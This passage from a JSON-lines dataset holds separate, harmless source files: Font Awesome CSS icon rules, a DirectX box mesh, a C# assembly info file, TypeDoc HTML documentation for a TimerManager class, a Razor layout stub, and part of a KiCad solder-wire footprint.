\"\\f402\"; }\n\n.fa-ubuntu:before {\n content: \"\\f7df\"; }\n\n.fa-uikit:before {\n content: \"\\f403\"; }\n\n.fa-umbrella:before {\n content: \"\\f0e9\"; }\n\n.fa-umbrella-beach:before {\n content: \"\\f5ca\"; }\n\n.fa-underline:before {\n content: \"\\f0cd\"; }\n\n.fa-undo:before {\n content: \"\\f0e2\"; }\n\n.fa-undo-alt:before {\n content: \"\\f2ea\"; }\n\n.fa-uniregistry:before {\n content: \"\\f404\"; }\n\n.fa-universal-access:before {\n content: \"\\f29a\"; }\n\n.fa-university:before {\n content: \"\\f19c\"; }\n\n.fa-unlink:before {\n content: \"\\f127\"; }\n\n.fa-unlock:before {\n content: \"\\f09c\"; }\n\n.fa-unlock-alt:before {\n content: \"\\f13e\"; }\n\n.fa-untappd:before {\n content: \"\\f405\"; }\n\n.fa-upload:before {\n content: \"\\f093\"; }\n\n.fa-ups:before {\n content: \"\\f7e0\"; }\n\n.fa-usb:before {\n content: \"\\f287\"; }\n\n.fa-user:before {\n content: \"\\f007\"; }\n\n.fa-user-alt:before {\n content: \"\\f406\"; }\n\n.fa-user-alt-slash:before {\n content: \"\\f4fa\"; }\n\n.fa-user-astronaut:before {\n content: \"\\f4fb\"; }\n\n.fa-user-check:before {\n content: \"\\f4fc\"; }\n\n.fa-user-circle:before {\n content: \"\\f2bd\"; }\n\n.fa-user-clock:before {\n content: \"\\f4fd\"; }\n\n.fa-user-cog:before {\n content: \"\\f4fe\"; }\n\n.fa-user-edit:before {\n content: \"\\f4ff\"; }\n\n.fa-user-friends:before {\n content: \"\\f500\"; }\n\n.fa-user-graduate:before {\n content: \"\\f501\"; }\n\n.fa-user-injured:before {\n content: \"\\f728\"; }\n\n.fa-user-lock:before {\n content: \"\\f502\"; }\n\n.fa-user-md:before {\n content: \"\\f0f0\"; }\n\n.fa-user-minus:before {\n content: \"\\f503\"; }\n\n.fa-user-ninja:before {\n content: \"\\f504\"; }\n\n.fa-user-nurse:before {\n content: \"\\f82f\"; }\n\n.fa-user-plus:before {\n content: \"\\f234\"; }\n\n.fa-user-secret:before {\n content: \"\\f21b\"; }\n\n.fa-user-shield:before {\n content: \"\\f505\"; }\n\n.fa-user-slash:before {\n content: \"\\f506\"; }\n\n.fa-user-tag:before {\n content: \"\\f507\"; }\n\n.fa-user-tie:before {\n content: \"\\f508\"; }\n\n.fa-user-times:before {\n content: \"\\f235\"; }\n\n.fa-users:before {\n content: \"\\f0c0\"; }\n\n.fa-users-cog:before {\n content: \"\\f509\"; }\n\n.fa-usps:before {\n content: \"\\f7e1\"; }\n\n.fa-ussunnah:before {\n content: \"\\f407\"; }\n\n.fa-utensil-spoon:before {\n content: \"\\f2e5\"; }\n\n.fa-utensils:before {\n content: \"\\f2e7\"; }\n\n.fa-vaadin:before {\n content: \"\\f408\"; }\n\n.fa-vector-square:before {\n content: \"\\f5cb\"; }\n\n.fa-venus:before {\n content: \"\\f221\"; }\n\n.fa-venus-double:before {\n content: \"\\f226\"; }\n\n.fa-venus-mars:before {\n content: \"\\f228\"; }\n\n.fa-viacoin:before {\n content: \"\\f237\"; }\n\n.fa-viadeo:before {\n content: \"\\f2a9\"; }\n\n.fa-viadeo-square:before {\n content: \"\\f2aa\"; }\n\n.fa-vial:before {\n content: \"\\f492\"; }\n\n.fa-vials:before {\n content: \"\\f493\"; }\n\n.fa-viber:before {\n content: \"\\f409\"; }\n\n.fa-video:before {\n content: \"\\f03d\"; }\n\n.fa-video-slash:before {\n content: \"\\f4e2\"; }\n\n.fa-vihara:before {\n content: \"\\f6a7\"; }\n\n.fa-vimeo:before {\n content: \"\\f40a\"; }\n\n.fa-vimeo-square:before {\n content: \"\\f194\"; }\n\n.fa-vimeo-v:before {\n content: \"\\f27d\"; }\n\n.fa-vine:before {\n content: \"\\f1ca\"; }\n\n.fa-vk:before {\n content: \"\\f189\"; }\n\n.fa-vnv:before {\n content: \"\\f40b\"; }\n\n.fa-volleyball-ball:before {\n content: \"\\f45f\"; }\n\n.fa-volume-down:before {\n content: \"\\f027\"; }\n\n.fa-volume-mute:before {\n content: \"\\f6a9\"; }\n\n.fa-volume-off:before {\n content: \"\\f026\"; }\n\n.fa-volume-up:before {\n content: \"\\f028\"; }\n\n.fa-vote-yea:before {\n content: \"\\f772\"; }\n\n.fa-vr-cardboard:before {\n content: \"\\f729\"; }\n\n.fa-vuejs:before {\n content: \"\\f41f\"; }\n\n.fa-walking:before {\n content: \"\\f554\"; }\n\n.fa-wallet:before {\n content: \"\\f555\"; }\n\n.fa-warehouse:before {\n content: \"\\f494\"; }\n\n.fa-water:before {\n content: \"\\f773\"; }\n\n.fa-wave-square:before {\n content: \"\\f83e\"; }\n\n.fa-waze:before {\n content: \"\\f83f\"; }\n\n.fa-weebly:before {\n content: \"\\f5cc\"; }\n\n.fa-weibo:before {\n content: \"\\f18a\"; }\n\n.fa-weight:before {\n content: \"\\f496\"; }\n\n.fa-weight-hanging:before {\n content: \"\\f5cd\"; }\n\n.fa-weixin:before {\n content: \"\\f1d7\"; }\n\n.fa-whatsapp:before {\n content: \"\\f232\"; }\n\n.fa-whatsapp-square:before {\n content: \"\\f40c\"; }\n\n.fa-wheelchair:before {\n content: \"\\f193\"; }\n\n.fa-whmcs:before {\n content: \"\\f40d\"; }\n\n.fa-wifi:before {\n content: \"\\f1eb\"; }\n\n.fa-wikipedia-w:before {\n content: \"\\f266\"; }\n\n.fa-wind:before {\n content: \"\\f72e\"; }\n\n.fa-window-close:before {\n content: \"\\f410\"; }\n\n.fa-window-maximize:before {\n content: \"\\f2d0\"; }\n\n.fa-window-minimize:before {\n content: \"\\f2d1\"; }\n\n.fa-window-restore:before {\n content: \"\\f2d2\"; }\n\n.fa-windows:before {\n content: \"\\f17a\"; }\n\n.fa-wine-bottle:before {\n content: \"\\f72f\"; }\n\n.fa-wine-glass:before {\n content: \"\\f4e3\"; }\n\n.fa-wine-glass-alt:before {\n content: \"\\f5ce\"; }\n\n.fa-wix:before {\n content: \"\\f5cf\"; }\n\n.fa-wizards-of-the-coast:before {\n content: \"\\f730\"; }\n\n.fa-wolf-pack-battalion:before {\n content: \"\\f514\"; }\n\n.fa-won-sign:before {\n content: \"\\f159\"; }\n\n.fa-wordpress:before {\n content: \"\\f19a\"; }\n\n.fa-wordpress-simple:before {\n content: \"\\f411\"; }\n\n.fa-wpbeginner:before {\n content: \"\\f297\"; }\n\n.fa-wpexplorer:before {\n content: \"\\f2de\"; }\n\n.fa-wpforms:before {\n content: \"\\f298\"; }\n\n.fa-wpressr:before {\n content: \"\\f3e4\"; }\n\n.fa-wrench:before {\n content: \"\\f0ad\"; }\n\n.fa-x-ray:before {\n content: \"\\f497\"; }\n\n.fa-xbox:before {\n content: \"\\f412\"; }\n\n.fa-xing:before {\n content: \"\\f168\"; }\n\n.fa-xing-square:before {\n content: \"\\f169\"; }\n\n.fa-y-combinator:before {\n content: \"\\f23b\"; }\n\n.fa-yahoo:before {\n content: \"\\f19e\"; }\n\n.fa-yammer:before {\n content: \"\\f840\"; }\n\n.fa-yandex:before {\n content: \"\\f413\"; }\n\n.fa-yandex-international:before {\n content: \"\\f414\"; }\n\n.fa-yarn:before {\n content: \"\\f7e3\"; }\n\n.fa-yelp:before {\n content: \"\\f1e9\"; }\n\n.fa-yen-sign:before {\n content: \"\\f157\"; }\n\n.fa-yin-yang:before {\n content: \"\\f6ad\"; }\n\n.fa-yoast:before {\n content: \"\\f2b1\"; }\n\n.fa-youtube:before {\n content: \"\\f167\"; }\n\n.fa-youtube-square:before {\n content: \"\\f431\"; }\n\n.fa-zhihu:before {\n content: \"\\f63f\"; }\n\n.sr-only {\n border: 0;\n clip: rect(0, 0, 0, 0);\n height: 1px;\n margin: -1px;\n overflow: hidden;\n padding: 0;\n position: absolute;\n width: 1px; }\n\n.sr-only-focusable:active, .sr-only-focusable:focus {\n clip: auto;\n height: auto;\n margin: 0;\n overflow: visible;\n position: static;\n width: auto; }\n"} +{"text": "xof 0302txt 0064\n// This model was made with 3D World Studio\n// http://www.leadwerks.com\nHeader \n {\n 1;\n 0;\n 1;\n }\nMaterial material_1\n {\n 1.0;1.0;1.0;1.0;;\n 11.3137;\n 1.0;1.0;1.0;;\n 0.0;0.0;0.0;;\n TextureFilename\n {\n \"note_tex.jpg\";\n }\n }\nFrame World\n {\n FrameTransformMatrix\n {\n 1.0,0.0,0.0,0.0,\n 0.0,1.0,0.0,0.0,\n 0.0,0.0,1.0,0.0,\n 0.0,0.0,0.0,1.0;;\n }\n Mesh Brush1\n {\n 24;\n -20.0;0.0;20.0;,\n -20.0;0.0;-20.0;,\n -20.0;1.0;-20.0;,\n -20.0;1.0;20.0;,\n 20.0;1.0;20.0;,\n 20.0;1.0;-20.0;,\n 20.0;0.0;-20.0;,\n 20.0;0.0;20.0;,\n -20.0;0.0;20.0;,\n 20.0;0.0;20.0;,\n 20.0;0.0;-20.0;,\n -20.0;0.0;-20.0;,\n -20.0;1.0;-20.0;,\n 20.0;1.0;-20.0;,\n 20.0;1.0;20.0;,\n -20.0;1.0;20.0;,\n -20.0;0.0;20.0;,\n -20.0;1.0;20.0;,\n 20.0;1.0;20.0;,\n 20.0;0.0;20.0;,\n 20.0;0.0;-20.0;,\n 20.0;1.0;-20.0;,\n -20.0;1.0;-20.0;,\n -20.0;0.0;-20.0;;\n 6;\n 4;3,2,1,0;,\n 4;7,6,5,4;,\n 4;11,10,9,8;,\n 4;15,14,13,12;,\n 4;19,18,17,16;,\n 4;23,22,21,20;;\n MeshTextureCoords\n {\n 24;\n 1.0081,1.4869;,\n 0.0,1.4869;,\n 0.0,1.4617;,\n 1.0081,1.4617;,\n 1.0081,1.4617;,\n 0.0,1.4617;,\n 0.0,1.4869;,\n 1.0081,1.4869;,\n 0.0,0.9829;,\n 1.0081,0.9829;,\n 1.0081,1.9909;,\n 0.0,1.9909;,\n 0.0,1.9909;,\n 1.0081,1.9909;,\n 1.0081,0.9829;,\n 0.0,0.9829;,\n 0.0,1.4869;,\n 0.0,1.4617;,\n 1.0081,1.4617;,\n 1.0081,1.4869;,\n 1.0081,1.4869;,\n 1.0081,1.4617;,\n 0.0,1.4617;,\n 0.0,1.4869;;\n }\n MeshNormals\n {\n 6;\n -1.0;0.0;0.0;,\n 1.0;-0.0;0.0;,\n 0.0;0.0;-1.0;,\n 0.0;0.0;1.0;,\n 0.0;1.0;0.0;,\n 0.0;-1.0;0.0;;\n 6;\n 4;0,0,0,0;,\n 4;1,1,1,1;,\n 4;2,2,2,2;,\n 4;3,3,3,3;,\n 4;4,4,4,4;,\n 4;5,5,5,5;;\n }\n MeshMaterialList\n {\n 6;\n 6;\n 0,\n 1,\n 2,\n 3,\n 4,\n 5;;\n { material_1 }\n { material_1 }\n { material_1 }\n { material_1 }\n { material_1 }\n { material_1 }\n }\n }\n }\n"} +{"text": "using System.Reflection;\nusing System.Runtime.CompilerServices;\nusing System.Runtime.InteropServices;\n\n// General Information about an assembly is controlled through the following \n// set of attributes. Change these attribute values to modify the information\n// associated with an assembly.\n[assembly: AssemblyTitle(\"Solid.Arduino.Firmata.Test\")]\n[assembly: AssemblyDescription(\"\")]\n[assembly: AssemblyConfiguration(\"\")]\n[assembly: AssemblyCompany(\"\")]\n[assembly: AssemblyProduct(\"Solid.Arduino.Firmata.Test\")]\n[assembly: AssemblyCopyright(\"Copyright © 2013\")]\n[assembly: AssemblyTrademark(\"\")]\n[assembly: AssemblyCulture(\"\")]\n\n// Setting ComVisible to false makes the types in this assembly not visible \n// to COM components. If you need to access a type in this assembly from \n// COM, set the ComVisible attribute to true on that type.\n[assembly: ComVisible(false)]\n\n// The following GUID is for the ID of the typelib if this project is exposed to COM\n[assembly: Guid(\"694b7b9f-0d7e-4190-88e4-78448a3d9bd2\")]\n\n// Version information for an assembly consists of the following four values:\n//\n// Major Version\n// Minor Version \n// Build Number\n// Revision\n//\n// You can specify all the values or you can default the Build and Revision Numbers \n// by using the '*' as shown below:\n// [assembly: AssemblyVersion(\"1.0.*\")]\n[assembly: AssemblyVersion(\"1.0.0.0\")]\n[assembly: AssemblyFileVersion(\"1.0.0.0\")]\n"} +{"text": "\n\n\n\t\n\t\n\tTimerManager | p1 wiki\n\t\n\t\n\t\n\n\n
\n\t
\n\t\t
\n\t\t\t
\n\t\t\t\t
\n\t\t\t\t\t
\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t
\n\t\t\t\t\t
    \n\t\t\t\t\t\t
  • Preparing search index...
    • \n\t\t\t\t\t\t
  • The search index is not available
    • \n\t\t\t\t\t
\n\t\t\t\t\tp1 wiki\n\t\t\t\t
\n\t\t\t\t
\n\t\t\t\t\t
\n\t\t\t\t\t\tOptions\n\t\t\t\t\t\t
\n\t\t\t\t\t\t\t
\n\t\t\t\t\t\t\t\tAll\n\t\t\t\t\t\t\t\t
    \n\t\t\t\t\t\t\t\t\t
  • Public
    • \n\t\t\t\t\t\t\t\t\t
  • Public/Protected
    • \n\t\t\t\t\t\t\t\t\t
  • All
    • \n\t\t\t\t\t\t\t\t
\n\t\t\t\t\t\t\t
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
\n\t\t\t\t\t
\n\t\t\t\t\tMenu\n\t\t\t\t
\n\t\t\t
\n\t\t
\n\t
\n\t
\n\t\t
\n\t\t\t\n\t\t\t

Class TimerManager

\n\t\t
\n\t
\n
\n
\n\t
\n\t\t
\n\t\t\t
\n\t\t\t\t
\n\t\t\t\t\t
\n\t\t\t\t\t\t

定时器管理器\n\t\t\t\t\t\t\t本类为setTimeout及setInterval和Timer的替代实现，主要是方便程序中Timer事件的生命周期管理，使用起来更为便利。\n\t\t\t\t\t\t程序中如用到setTimeout，setInterval及Timer的地方应尽量选择此方案。

\n\t\t\t\t\t
\n\t\t\t\t
\n\t\t\t
\n\t\t\t
\n\t\t\t\t

Hierarchy

\n\t\t\t\t
    \n\t\t\t\t\t
  • \n\t\t\t\t\t\tTimerManager\n\t\t\t\t\t
    • \n\t\t\t\t
\n\t\t\t
\n\t\t\t
\n\t\t\t\t

Index

\n\t\t\t\t
\n\t\t\t\t\t
\n\t\t\t\t\t\t
\n\t\t\t\t\t\t\t

Constructors

\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
\n\t\t\t\t\t\t
\n\t\t\t\t\t\t\t

Accessors

\n\t\t\t\t\t\t\t
    \n\t\t\t\t\t\t\t\t
  • instance
    • \n\t\t\t\t\t\t\t
\n\t\t\t\t\t\t
\n\t\t\t\t\t\t
\n\t\t\t\t\t\t\t

Methods

\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
\n\t\t\t\t\t
\n\t\t\t\t
\n\t\t\t
\n\t\t\t
\n\t\t\t\t

Constructors

\n\t\t\t\t
\n\t\t\t\t\t\n\t\t\t\t\t

constructor

\n\t\t\t\t\t\n\t\t\t\t\t
    \n\t\t\t\t\t\t
  • \n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t

    Returns TimerManager

    \n\t\t\t\t\t\t
    • \n\t\t\t\t\t
\n\t\t\t\t
\n\t\t\t
\n\t\t\t
\n\t\t\t\t

Accessors

\n\t\t\t\t
\n\t\t\t\t\t\n\t\t\t\t\t

Static instance

\n\t\t\t\t\t\n\t\t\t\t\t
    \n\t\t\t\t\t\t
  • \n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t

    Returns TimerManager

    \n\t\t\t\t\t\t
    • \n\t\t\t\t\t
\n\t\t\t\t
\n\t\t\t
\n\t\t\t
\n\t\t\t\t

Methods

\n\t\t\t\t
\n\t\t\t\t\t\n\t\t\t\t\t

addTick

\n\t\t\t\t\t
    \n\t\t\t\t\t\t
  • addTick(delay: number, replayCount: number, callback: Function, thisObj: any, ...args: any[]): void
    • \n\t\t\t\t\t
\n\t\t\t\t\t
    \n\t\t\t\t\t\t
  • \n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t
    \n\t\t\t\t\t\t\t\t
    \n\t\t\t\t\t\t\t\t\t

    添加计时器

    \n\t\t\t\t\t\t\t\t
    \n\t\t\t\t\t\t\t
    \n\t\t\t\t\t\t\t

    Parameters

    \n\t\t\t\t\t\t\t
      \n\t\t\t\t\t\t\t\t
    • \n\t\t\t\t\t\t\t\t\t
      delay: number
      \n\t\t\t\t\t\t\t\t\t
      \n\t\t\t\t\t\t\t\t\t\t

      执行周期执行，延迟delay毫秒后执行。

      \n\t\t\t\t\t\t\t\t\t
      \n\t\t\t\t\t\t\t\t
      • \n\t\t\t\t\t\t\t\t
    • \n\t\t\t\t\t\t\t\t\t
      replayCount: number
      \n\t\t\t\t\t\t\t\t\t
      \n\t\t\t\t\t\t\t\t\t\t

      执行次数，当replayCount <= 0时为无限执行

      \n\t\t\t\t\t\t\t\t\t
      \n\t\t\t\t\t\t\t\t
      • \n\t\t\t\t\t\t\t\t
    • \n\t\t\t\t\t\t\t\t\t
      callback: Function
      \n\t\t\t\t\t\t\t\t\t
      \n\t\t\t\t\t\t\t\t\t\t

      回调函数，每周期执行一次回调函数

      \n\t\t\t\t\t\t\t\t\t
      \n\t\t\t\t\t\t\t\t
      • \n\t\t\t\t\t\t\t\t
    • \n\t\t\t\t\t\t\t\t\t
      thisObj: any
      \n\t\t\t\t\t\t\t\t\t
      \n\t\t\t\t\t\t\t\t\t\t

      this绑定

      \n\t\t\t\t\t\t\t\t\t
      \n\t\t\t\t\t\t\t\t
      • \n\t\t\t\t\t\t\t\t
    • \n\t\t\t\t\t\t\t\t\t
      Rest ...args: any[]
      \n\t\t\t\t\t\t\t\t
      • \n\t\t\t\t\t\t\t
    \n\t\t\t\t\t\t\t

    Returns void

    \n\t\t\t\t\t\t
    • \n\t\t\t\t\t
\n\t\t\t\t
\n\t\t\t\t
\n\t\t\t\t\t\n\t\t\t\t\t

removeAllTicks

\n\t\t\t\t\t
    \n\t\t\t\t\t\t
  • removeAllTicks(): void
    • \n\t\t\t\t\t
\n\t\t\t\t\t
    \n\t\t\t\t\t\t
  • \n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t
    \n\t\t\t\t\t\t\t\t
    \n\t\t\t\t\t\t\t\t\t

    移除所有计时器

    \n\t\t\t\t\t\t\t\t
    \n\t\t\t\t\t\t\t
    \n\t\t\t\t\t\t\t

    Returns void

    \n\t\t\t\t\t\t
    • \n\t\t\t\t\t
\n\t\t\t\t
\n\t\t\t\t
\n\t\t\t\t\t\n\t\t\t\t\t

removeTick

\n\t\t\t\t\t
    \n\t\t\t\t\t\t
  • removeTick(callback: Function, thisObj: any): void
    • \n\t\t\t\t\t
\n\t\t\t\t\t
    \n\t\t\t\t\t\t
  • \n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t
    \n\t\t\t\t\t\t\t\t
    \n\t\t\t\t\t\t\t\t\t

    通过回调函数移除对应监听

    \n\t\t\t\t\t\t\t\t
    \n\t\t\t\t\t\t\t
    \n\t\t\t\t\t\t\t

    Parameters

    \n\t\t\t\t\t\t\t
      \n\t\t\t\t\t\t\t\t
    • \n\t\t\t\t\t\t\t\t\t
      callback: Function
      \n\t\t\t\t\t\t\t\t\t
      \n\t\t\t\t\t\t\t\t\t\t

      回调函数

      \n\t\t\t\t\t\t\t\t\t
      \n\t\t\t\t\t\t\t\t
      • \n\t\t\t\t\t\t\t\t
    • \n\t\t\t\t\t\t\t\t\t
      thisObj: any
      \n\t\t\t\t\t\t\t\t\t
      \n\t\t\t\t\t\t\t\t\t\t

      this绑定

      \n\t\t\t\t\t\t\t\t\t
      \n\t\t\t\t\t\t\t\t
      • \n\t\t\t\t\t\t\t
    \n\t\t\t\t\t\t\t

    Returns void

    \n\t\t\t\t\t\t
    • \n\t\t\t\t\t
\n\t\t\t\t
\n\t\t\t\t
\n\t\t\t\t\t\n\t\t\t\t\t

removeTicks

\n\t\t\t\t\t
    \n\t\t\t\t\t\t
  • removeTicks(thisObj: any): void
    • \n\t\t\t\t\t
\n\t\t\t\t\t
    \n\t\t\t\t\t\t
  • \n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t
    \n\t\t\t\t\t\t\t\t
    \n\t\t\t\t\t\t\t\t\t

    移除this绑定相关的计时器

    \n\t\t\t\t\t\t\t\t
    \n\t\t\t\t\t\t\t
    \n\t\t\t\t\t\t\t

    Parameters

    \n\t\t\t\t\t\t\t
      \n\t\t\t\t\t\t\t\t
    • \n\t\t\t\t\t\t\t\t\t
      thisObj: any
      \n\t\t\t\t\t\t\t\t\t
      \n\t\t\t\t\t\t\t\t\t
      \n\t\t\t\t\t\t\t\t
      • \n\t\t\t\t\t\t\t
    \n\t\t\t\t\t\t\t

    Returns void

    \n\t\t\t\t\t\t
    • \n\t\t\t\t\t
\n\t\t\t\t
\n\t\t\t
\n\t\t
\n\t\t
\n\t\t\t\n\t\t\t\n\t\t
\n\t
\n
\n
\n\t
\n\t\t

Legend

\n\t\t
\n\t\t\t
    \n\t\t\t\t
  • Module
    • \n\t\t\t\t
  • Object literal
    • \n\t\t\t\t
  • Variable
    • \n\t\t\t\t
  • Function
    • \n\t\t\t\t
  • Function with type parameter
    • \n\t\t\t\t
  • Index signature
    • \n\t\t\t\t
  • Type alias
    • \n\t\t\t
\n\t\t\t
    \n\t\t\t\t
  • Enumeration
    • \n\t\t\t\t
  • Enumeration member
    • \n\t\t\t\t
  • Property
    • \n\t\t\t\t
  • Method
    • \n\t\t\t
\n\t\t\t
    \n\t\t\t\t
  • Interface
    • \n\t\t\t\t
  • Interface with type parameter
    • \n\t\t\t\t
  • Constructor
    • \n\t\t\t\t
  • Property
    • \n\t\t\t\t
  • Method
    • \n\t\t\t\t
  • Index signature
    • \n\t\t\t
\n\t\t\t
    \n\t\t\t\t
  • Class
    • \n\t\t\t\t
  • Class with type parameter
    • \n\t\t\t\t
  • Constructor
    • \n\t\t\t\t
  • Property
    • \n\t\t\t\t
  • Method
    • \n\t\t\t\t
  • Accessor
    • \n\t\t\t\t
  • Index signature
    • \n\t\t\t
\n\t\t\t
    \n\t\t\t\t
  • Inherited constructor
    • \n\t\t\t\t
  • Inherited property
    • \n\t\t\t\t
  • Inherited method
    • \n\t\t\t\t
  • Inherited accessor
    • \n\t\t\t
\n\t\t\t
    \n\t\t\t\t
  • Protected property
    • \n\t\t\t\t
  • Protected method
    • \n\t\t\t\t
  • Protected accessor
    • \n\t\t\t
\n\t\t\t
    \n\t\t\t\t
  • Private property
    • \n\t\t\t\t
  • Private method
    • \n\t\t\t\t
  • Private accessor
    • \n\t\t\t
\n\t\t\t
    \n\t\t\t\t
  • Static property
    • \n\t\t\t\t
  • Static method
    • \n\t\t\t
\n\t\t
\n\t
\n
\n
\n\t

Generated using TypeDoc

\n
\n
\n\n\n\n"} +{"text": "@{\n Layout = \"_Layout\";\n}\n"} +{"text": "(module SolderWire-0.25sqmm_1x06_P4.5mm_D0.65mm_OD2mm_Relief2x (layer F.Cu) (tedit 5EB70B44)\n (descr \"Soldered wire connection with double feed through strain relief, for 6 times 0.25 mm² wires, reinforced insulation, conductor diameter 0.65mm, outer diameter 2mm, size source Multi-Contact FLEXI-2V 0.25 (https://ec.staubli.com/AcroFiles/Catalogues/TM_Cab-Main-11014119_(en)_hi.pdf), bend radius 3 times outer diameter, generated with kicad-footprint-generator\")\n (tags \"connector wire 0.25sqmm double-strain-relief\")\n (attr virtual)\n (fp_text reference REF** (at 11.25 -2.2) (layer F.SilkS)\n (effects (font (size 1 1) (thickness 0.15)))\n )\n (fp_text value SolderWire-0.25sqmm_1x06_P4.5mm_D0.65mm_OD2mm_Relief2x (at 11.25 26.45) (layer F.Fab)\n (effects (font (size 1 1) (thickness 0.15)))\n )\n (fp_circle (center 0 0) (end 1 0) (layer F.Fab) (width 0.1))\n (fp_circle (center 0 12) (end 1 12) (layer F.Fab) (width 0.1))\n (fp_circle (center 0 24) (end 1 24) (layer F.Fab) (width 0.1))\n (fp_circle (center 0 12) (end 1 12) (layer B.Fab) (width 0.1))\n (fp_circle (center 0 24) (end 1 24) (layer B.Fab) (width 0.1))\n (fp_circle (center 4.5 0) (end 5.5 0) (layer F.Fab) (width 0.1))\n (fp_circle (center 4.5 12) (end 5.5 12) (layer F.Fab) (width 0.1))\n (fp_circle (center 4.5 24) (end 5.5 24) (layer F.Fab) (width 0.1))\n (fp_circle (center 4.5 12) (end 5.5 12) (layer B.Fab) (width 0.1))\n (fp_circle (center 4.5 24) (end 5.5 24) (layer B.Fab) (width 0.1))\n (fp_circle (center 9 0) (end 10 0) (layer F.Fab) (width 0.1))\n (fp_circle (center 9 12) (end 10 12) (layer F.Fab) (width 0.1))\n (fp_circle (center 9 24) (end 10 24) (layer F.Fab) (width 0.1))\n (fp_circle (center 9 12) (end 10 12) (layer B.Fab) (width 0.1))\n (fp_circle (center 9 24) (end 10 24) (layer B.Fab) (width 0.1))\n (fp_circle (center 13.5 0) (end 14.5 0) (layer F.Fab) (width 0.1))\n (fp_circle (center 13.5 12) (end 14.5 12) (layer F.Fab) (width 0.1))\n (fp_circle (center 13.5 24) (end 14.5 24) (layer F.Fab) (width 0.1))\n (fp_circle (center 13.5 12) (end 14.5 12) (layer B.Fab) (width 0.1))\n (fp_circle (center 13.5 24) (end 14.5 24) (layer B.Fab) (width 0.1))\n (fp_circle (center 18 0) (end 19 0) (layer F.Fab) (width 0.1))\n (fp_circle (center 18 12) (end 19 12) (layer F.Fab) (width 0.1))\n (fp_circle (center 18 24) (end 19 24) (layer F.Fab) (width 0.1))\n (fp_circle (center 18 12) (end 19 12) (layer B.Fab) (width 0.1))\n (fp_circle (center 18 24) (end 19 24) (layer B.Fab) (width 0.1))\n (fp_circle (center 22.5 0) (end 23.5 0) (layer F.Fab) (width 0.1))\n (fp_circle (center 22.5 12) (end 23.5 12) (layer F.Fab) (width 0.1))\n (fp_circle (center 22.5 24) (end 23.5 24) (layer F.Fab) (width 0.1))\n (fp_circle (center 22.5 12) (end 23.5 12) (layer B.Fab) (width 0.1))\n (fp_circle (center 22.5 24) (end 23.5 24) (layer B.Fab) (width 0.1))\n (fp_line (start -1 0) (end -1 12) (layer F.Fab) (width 0.1))\n (fp_line (start 1 0) (end 1 12) (layer F.Fab) (width 0.1))\n (fp_line (start -1 12) (end -1 24) (layer B.Fab) (width 0.1))\n (fp_line (start 1 12) (end 1 24) (layer B.Fab) (width 0.1))\n (fp_line (start 1.11 1.26) (end 1.11 10.89) (layer F.SilkS) (width 0.12))\n (fp_line (start -1.11 1.26) (end -1.11 10.89) (layer F.SilkS) (width 0.12))\n (fp_line (start 1.11 13.11) (end 1.11 22.89) (layer B.SilkS) (width 0.12))\n (fp_line (start -1.11 13.11) (end -1.11 22.89) (layer B.SilkS) (width 0.12))\n (fp_line (start -1.75 -1.5) (end -1.75 13.75) (layer F.CrtYd) (width 0.05))\n (fp_line (start -1.75 13.75) (end 1.75 13.75) (layer F.CrtYd) (width 0.05))\n (fp_line (start 1.75 13.75) (end 1.75 -1.5) (layer F.CrtYd) (width 0.05))\n (fp_line (start 1.75 -1.5) (end -1.75 -1.5) (layer F.CrtYd) (width 0.05))\n (fp_line (start -1.75 22.25) (end -1.75 25.75) (layer F.CrtYd) (width 0.05))\n (fp_line (start -1.75 25.75) (end 1.75 25.75) (layer F.CrtYd) (width 0.05))\n (fp_line (start 1.75 25.75) (end 1.75 22.25) (layer F.CrtYd) (width 0.05))\n (fp_line (start 1.75 22.25) (end -1.75 22.25) (layer F.CrtYd) (width 0.05))\n (fp_line (start -1.75 10.25) (end -1.75 25.75) (layer B.CrtYd) (width 0.05))\n (fp_line (start -1.75 25.75) (end 1.75 25.75) (layer B.CrtYd) (width 0.05))\n (fp_line (start 1.75 25.75) (end 1.75 10.25) (layer B.CrtYd) (width 0.05))\n (fp_line (start 1.75 10.25) (end -1.75 10.25) (layer B.CrtYd) (width 0.05))\n (fp_line (start 3.5 0) (end 3.5 12) (layer F.Fab) (width 0.1))\n (fp_line (start 5.5 0) (end 5.5 12) (layer F.Fab) (width 0.1))\n (fp_line (start 3.5 12) (end 3.5 24) (layer B.Fab) (width 0.1))\n (fp_line (start 5.5 12) (end 5.5 24) (layer B.Fab) (width 0.1))\n (fp_line (start 5.61 1.26) (end 5.61 10.89) (layer F.SilkS) (width 0.12))\n (fp_line (start 3.39 1.26) (end 3.39 10.89) (layer F.SilkS) (width 0.12))\n (fp_line (start 5.61 13.11) (end 5.61 22.89) (layer B.SilkS) (width 0.12))\n (fp_line (start 3.39 13.11) (end 3.39 22.89) (layer B.SilkS) (width 0.12))\n (fp_line (start 2.75 -1.5) (end 2.75 13.75) (layer F.CrtYd) (width 0.05))\n (fp_line (start 2.75 13.75) (end 6.25 13.75) (layer F.CrtYd) (width 0.05))\n (fp_line (start 6.25 13.75) (end 6.25 -1.5) (layer F.CrtYd) (width 0.05))\n (fp_line (start 6.25 -1.5) (end 2.75 -1.5) (layer F.CrtYd) (width 0.05))\n (fp_line (start 2.75 22.25) (end 2.75 25.75) (layer F.CrtYd) (width 0.05))\n (fp_line (start 2.75 25.75) (end 6.25 25.75) (layer F.CrtYd) (width 0.05))\n (fp_line (start 6.25 25.75) (end 6.25 22.25) (layer F.CrtYd) (width 0.05))\n (fp_line (start 6.25 22.25) (end 2.75 22.25) (layer F.CrtYd) (width 0.05))\n (fp_line (start 2.75 10.25) (end 2.75 25.75) (layer B.CrtYd) (width 0.05))\n (fp_line (start 2.75 25.75) (end 6.25 25.75) (layer B.CrtYd) (width 0.05))\n (fp_line (start 6.25 25.75) (end 6.25 10.25) (layer B.CrtYd) (width 0.05))\n (fp_line (start 6.25 10.25) (end 2.75 